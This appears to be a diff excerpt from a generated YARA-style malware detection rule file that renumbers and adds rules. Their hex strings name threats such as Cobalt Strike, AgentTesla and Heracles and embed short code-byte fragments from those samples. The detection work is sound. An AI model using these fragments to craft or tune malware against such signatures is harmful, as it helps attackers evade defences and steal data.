_InfrastructureShared_3356{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3357{ +rule _InfrastructureShared_3429{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 34 2f 44 61 70 61 74 6f 2e 41 4d 58 21 4d 54 42 00 01 00 1f 02 53 48 83 ec 28 48 8d 6c 24 20 48 89 d6 48 63 f9 48 8d 1d d5 90 01 08 48 89 d9 48 89 fa 90 00 00 00 78 4c 00 00 01 00 01 00 01 00 21 23 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_3430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34691,7 +35451,7 @@ rule _InfrastructureShared_3357{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3358{ +rule _InfrastructureShared_3431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34701,7 +35461,7 @@ rule _InfrastructureShared_3358{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3359{ +rule _InfrastructureShared_3432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34711,7 +35471,7 @@ rule _InfrastructureShared_3359{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3360{ +rule _InfrastructureShared_3433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34721,7 +35481,7 @@ rule _InfrastructureShared_3360{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3361{ +rule _InfrastructureShared_3434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34731,7 +35491,7 @@ rule _InfrastructureShared_3361{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3362{ +rule _InfrastructureShared_3435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34741,7 +35501,7 @@ rule _InfrastructureShared_3362{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_3363{ +rule _InfrastructureShared_3436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34751,7 +35511,7 @@ rule _InfrastructureShared_3363{ ((#a_6b_0 & 1)*17955) >=1 } -rule _InfrastructureShared_3364{ +rule _InfrastructureShared_3437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34761,7 +35521,7 @@ rule _InfrastructureShared_3364{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3365{ +rule _InfrastructureShared_3438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34771,7 +35531,7 @@ rule _InfrastructureShared_3365{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3366{ +rule _InfrastructureShared_3439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34781,7 +35541,7 @@ rule _InfrastructureShared_3366{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3367{ +rule _InfrastructureShared_3440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34791,7 +35551,7 @@ rule _InfrastructureShared_3367{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3368{ +rule _InfrastructureShared_3441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34801,7 +35561,7 @@ rule _InfrastructureShared_3368{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3369{ +rule _InfrastructureShared_3442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34811,7 +35571,7 @@ rule _InfrastructureShared_3369{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3370{ +rule _InfrastructureShared_3443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34821,7 +35581,7 @@ rule _InfrastructureShared_3370{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3371{ +rule _InfrastructureShared_3444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34831,7 +35591,7 @@ rule _InfrastructureShared_3371{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3372{ +rule _InfrastructureShared_3445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34841,7 +35601,7 @@ rule _InfrastructureShared_3372{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3373{ +rule _InfrastructureShared_3446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34851,7 +35611,7 @@ rule _InfrastructureShared_3373{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3374{ +rule _InfrastructureShared_3447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34861,7 +35621,7 @@ rule _InfrastructureShared_3374{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3375{ +rule _InfrastructureShared_3448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34871,7 +35631,7 @@ rule _InfrastructureShared_3375{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3376{ +rule _InfrastructureShared_3449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34881,7 +35641,7 @@ rule _InfrastructureShared_3376{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3377{ +rule _InfrastructureShared_3450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34891,7 +35651,7 @@ rule _InfrastructureShared_3377{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3378{ +rule _InfrastructureShared_3451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34901,7 +35661,7 @@ rule _InfrastructureShared_3378{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3379{ +rule _InfrastructureShared_3452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34911,7 +35671,7 @@ rule _InfrastructureShared_3379{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3380{ +rule _InfrastructureShared_3453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34921,7 +35681,7 @@ rule _InfrastructureShared_3380{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3381{ +rule _InfrastructureShared_3454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34931,7 +35691,7 @@ rule _InfrastructureShared_3381{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3382{ +rule _InfrastructureShared_3455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34941,7 +35701,7 @@ rule _InfrastructureShared_3382{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3383{ +rule _InfrastructureShared_3456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34951,7 +35711,7 @@ rule _InfrastructureShared_3383{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3384{ +rule _InfrastructureShared_3457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34961,7 +35721,7 @@ rule _InfrastructureShared_3384{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3385{ +rule _InfrastructureShared_3458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34971,7 +35731,7 @@ rule _InfrastructureShared_3385{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3386{ +rule _InfrastructureShared_3459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34981,7 +35741,7 @@ rule _InfrastructureShared_3386{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3387{ +rule _InfrastructureShared_3460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34991,7 +35751,7 @@ rule _InfrastructureShared_3387{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3388{ +rule _InfrastructureShared_3461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35001,7 +35761,7 @@ rule _InfrastructureShared_3388{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3389{ +rule _InfrastructureShared_3462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35011,7 +35771,7 @@ rule _InfrastructureShared_3389{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3390{ +rule _InfrastructureShared_3463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35021,7 +35781,7 @@ rule _InfrastructureShared_3390{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3391{ +rule _InfrastructureShared_3464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35031,7 +35791,7 @@ rule _InfrastructureShared_3391{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3392{ +rule _InfrastructureShared_3465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35041,7 +35801,7 @@ rule _InfrastructureShared_3392{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3393{ +rule _InfrastructureShared_3466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35051,7 +35811,7 @@ rule _InfrastructureShared_3393{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3394{ +rule _InfrastructureShared_3467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35061,7 +35821,7 @@ rule _InfrastructureShared_3394{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3395{ +rule _InfrastructureShared_3468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35071,7 +35831,7 @@ rule _InfrastructureShared_3395{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3396{ +rule _InfrastructureShared_3469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35081,7 +35841,7 @@ rule _InfrastructureShared_3396{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3397{ +rule _InfrastructureShared_3470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35091,7 +35851,7 @@ rule _InfrastructureShared_3397{ ((#a_53_0 & 1)*20515) >=1 } -rule _InfrastructureShared_3398{ +rule _InfrastructureShared_3471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35101,7 +35861,7 @@ rule _InfrastructureShared_3398{ ((#a_73_0 & 1)*20515) >=1 } -rule _InfrastructureShared_3399{ +rule _InfrastructureShared_3472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35111,7 +35871,7 @@ rule _InfrastructureShared_3399{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3400{ +rule _InfrastructureShared_3473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35121,7 +35881,7 @@ rule _InfrastructureShared_3400{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3401{ +rule _InfrastructureShared_3474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35131,7 +35891,7 @@ rule _InfrastructureShared_3401{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3402{ +rule _InfrastructureShared_3475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35141,7 +35901,7 @@ rule _InfrastructureShared_3402{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3403{ +rule _InfrastructureShared_3476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35151,7 +35911,17 @@ rule _InfrastructureShared_3403{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3404{ +rule _InfrastructureShared_3477{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 43 50 21 4d 54 42 00 01 00 1c 01 01 25 71 05 00 00 01 11 07 03 58 04 59 20 ff 00 00 00 5f d2 61 d2 81 05 00 00 01 1f 00 00 78 4c 00 00 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35161,7 +35931,47 @@ rule _InfrastructureShared_3404{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3405{ +rule _InfrastructureShared_3479{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 41 49 21 4d 54 42 00 01 00 1e 01 01 25 16 12 18 28 3e 00 00 0a 9c 25 17 12 18 28 3f 00 00 0a 9c 25 18 12 18 28 40 00 00 0a 00 00 78 4c 00 00 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3480{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 41 4a 21 4d 54 42 00 01 00 1e 01 11 0d 1f 0a 11 0d 1f 0a 95 11 0e 1f 0a 95 5a 9e 11 18 20 41 ac f4 f4 5a 20 86 70 d1 9b 61 00 00 78 4c 00 00 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3481{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 42 55 21 4d 54 42 00 01 00 1e 01 11 74 6e fe 0c b9 00 6e 61 20 93 01 00 01 6a 5a 6d fe 0e b9 00 11 46 46 fe 0e b8 00 11 46 00 00 78 4c 00 00 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3482{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 42 59 21 4d 54 42 00 01 00 1e 01 0a 0a 1a 8d 0b 00 00 01 0b 06 07 16 1a 6f 1d 00 00 0a 26 07 16 28 1c 00 00 0a 0c 06 16 73 00 00 78 4c 00 00 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35171,7 +35981,7 @@ rule _InfrastructureShared_3405{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3406{ +rule _InfrastructureShared_3484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35181,7 +35991,7 @@ rule _InfrastructureShared_3406{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3407{ +rule _InfrastructureShared_3485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35191,7 +36001,7 @@ rule _InfrastructureShared_3407{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3408{ +rule _InfrastructureShared_3486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35201,7 +36011,27 @@ rule _InfrastructureShared_3408{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3409{ +rule _InfrastructureShared_3487{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6e 74 2e 41 47 21 4d 54 42 00 01 00 21 01 55 89 e5 83 ec 20 31 c0 89 45 ee 89 45 ea 89 45 e0 64 a1 30 00 00 00 8b 40 08 89 45 ee 8b 45 ee 05 00 00 78 4c 00 00 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3488{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 49 48 53 21 4d 54 42 00 01 00 18 01 34 38 8b c3 48 ff c3 83 e0 03 42 8a 04 30 30 06 48 ff c6 48 ff c9 75 e9 00 00 78 4c 00 00 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35211,7 +36041,7 @@ rule _InfrastructureShared_3409{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3410{ +rule _InfrastructureShared_3490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35221,7 +36051,7 @@ rule _InfrastructureShared_3410{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3411{ +rule _InfrastructureShared_3491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -35232,7 +36062,7 @@ rule _InfrastructureShared_3411{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*21320) >=1 } -rule _InfrastructureShared_3412{ +rule _InfrastructureShared_3492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -35243,7 +36073,7 @@ rule _InfrastructureShared_3412{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*29550) >=1 } -rule _InfrastructureShared_3413{ +rule _InfrastructureShared_3493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -35254,7 +36084,7 @@ rule _InfrastructureShared_3413{ ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*13166) >=1 } -rule _InfrastructureShared_3414{ +rule _InfrastructureShared_3494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -35265,7 +36095,7 @@ rule _InfrastructureShared_3414{ ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*13166) >=1 } -rule _InfrastructureShared_3415{ +rule _InfrastructureShared_3495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -35276,7 +36106,7 @@ rule _InfrastructureShared_3415{ ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*13934) >=1 } -rule _InfrastructureShared_3416{ +rule _InfrastructureShared_3496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -35287,7 +36117,7 @@ rule _InfrastructureShared_3416{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*29550) >=1 } -rule _InfrastructureShared_3417{ +rule _InfrastructureShared_3497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -35299,7 +36129,7 @@ rule _InfrastructureShared_3417{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25707+(#a_02_2 & 1)*32260) >=1 } -rule _InfrastructureShared_3418{ +rule _InfrastructureShared_3498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -35309,7 +36139,7 @@ rule _InfrastructureShared_3418{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_3419{ +rule _InfrastructureShared_3499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -35319,7 +36149,17 @@ rule _InfrastructureShared_3419{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_3420{ +rule _InfrastructureShared_3500{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 42 41 44 21 4d 54 42 00 02 00 20 03 33 c1 88 85 90 01 04 0f b7 95 90 01 04 0f b6 85 90 01 04 03 95 90 01 04 8d 4c 10 2b 88 8d 90 00 00 00 78 4c 00 00 02 00 02 00 01 00 21 23 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_3501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -35329,7 +36169,17 @@ rule _InfrastructureShared_3420{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_3421{ +rule _InfrastructureShared_3502{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 45 48 48 41 21 4d 54 42 00 02 00 1c 01 11 11 11 12 11 11 11 12 91 11 0f 61 d2 9c 11 12 17 58 13 12 11 12 11 11 8e 69 32 e4 00 00 78 4c 00 00 02 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_3503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -35339,7 +36189,17 @@ rule _InfrastructureShared_3421{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_3422{ +rule _InfrastructureShared_3504{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 47 43 4d 44 21 4d 54 42 00 02 00 17 03 48 63 c1 0f b6 4c 84 90 01 01 41 30 08 49 ff c0 49 83 eb 01 75 90 00 00 00 78 4c 00 00 02 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_3505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -35350,7 +36210,7 @@ rule _InfrastructureShared_3422{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*19521) >=2 } -rule _InfrastructureShared_3423{ +rule _InfrastructureShared_3506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -35361,7 +36221,7 @@ rule _InfrastructureShared_3423{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*19521) >=2 } -rule _InfrastructureShared_3424{ +rule _InfrastructureShared_3507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -35372,7 +36232,7 @@ rule _InfrastructureShared_3424{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*21320) >=2 } -rule _InfrastructureShared_3425{ +rule _InfrastructureShared_3508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -35383,7 +36243,7 @@ rule _InfrastructureShared_3425{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*27491) >=2 } -rule _InfrastructureShared_3426{ +rule _InfrastructureShared_3509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -35394,7 +36254,7 @@ rule _InfrastructureShared_3426{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*14913) >=2 } -rule _InfrastructureShared_3427{ +rule _InfrastructureShared_3510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -35405,7 +36265,7 @@ rule _InfrastructureShared_3427{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*27247) >=2 } -rule _InfrastructureShared_3428{ +rule _InfrastructureShared_3511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -35416,7 +36276,7 @@ rule _InfrastructureShared_3428{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*27247) >=2 } -rule _InfrastructureShared_3429{ +rule _InfrastructureShared_3512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -35427,29 +36287,40 @@ rule _InfrastructureShared_3429{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*21618) >=2 } -rule _InfrastructureShared_3430{ +rule _InfrastructureShared_3513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 41 6e 74 69 68 76 2e 41 21 42 69 6f 73 00 01 00 11 80 01 53 79 73 74 65 6d 42 69 6f 73 56 65 72 73 69 6f 6e 01 00 06 80 01 56 52 54 55 41 4c 00 00 78 4c 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 56 69 } //18467 - $a_6f_1 = {3a 57 69 6e 33 32 2f 56 42 49 6e 6a 65 63 74 2e 41 44 53 00 01 00 11 01 48 69 6a 61 63 6b 41 70 6c 69 63 61 74 69 6f 6e 00 01 00 09 01 7a 44 65 63 6f 64 65 72 00 00 00 78 4c 00 00 02 00 02 00 02 00 21 23 53 43 52 49 50 54 3a 4d 53 49 4c 2f 4f 64 64 41 70 70 4e 61 6d 65 2e 41 00 01 00 16 01 63 00 6f 00 6d 00 70 00 61 00 6e 00 79 00 } //21618 + $a_6f_1 = {3a 57 69 6e 33 32 2f 56 42 49 6e 6a 65 63 74 2e 41 44 53 00 01 00 11 01 48 69 6a 61 63 6b 41 70 6c 69 63 61 74 69 6f 6e 00 01 00 09 01 7a 44 65 63 6f 64 65 72 00 00 00 78 4c 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 49 57 73 63 41 56 53 74 61 74 75 73 2e 41 00 01 00 10 01 37 2c 10 f2 c3 90 0c 45 b3 f6 92 be 16 } //21618 condition: ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*21618) >=2 } -rule _InfrastructureShared_3431{ +rule _InfrastructureShared_3514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : - 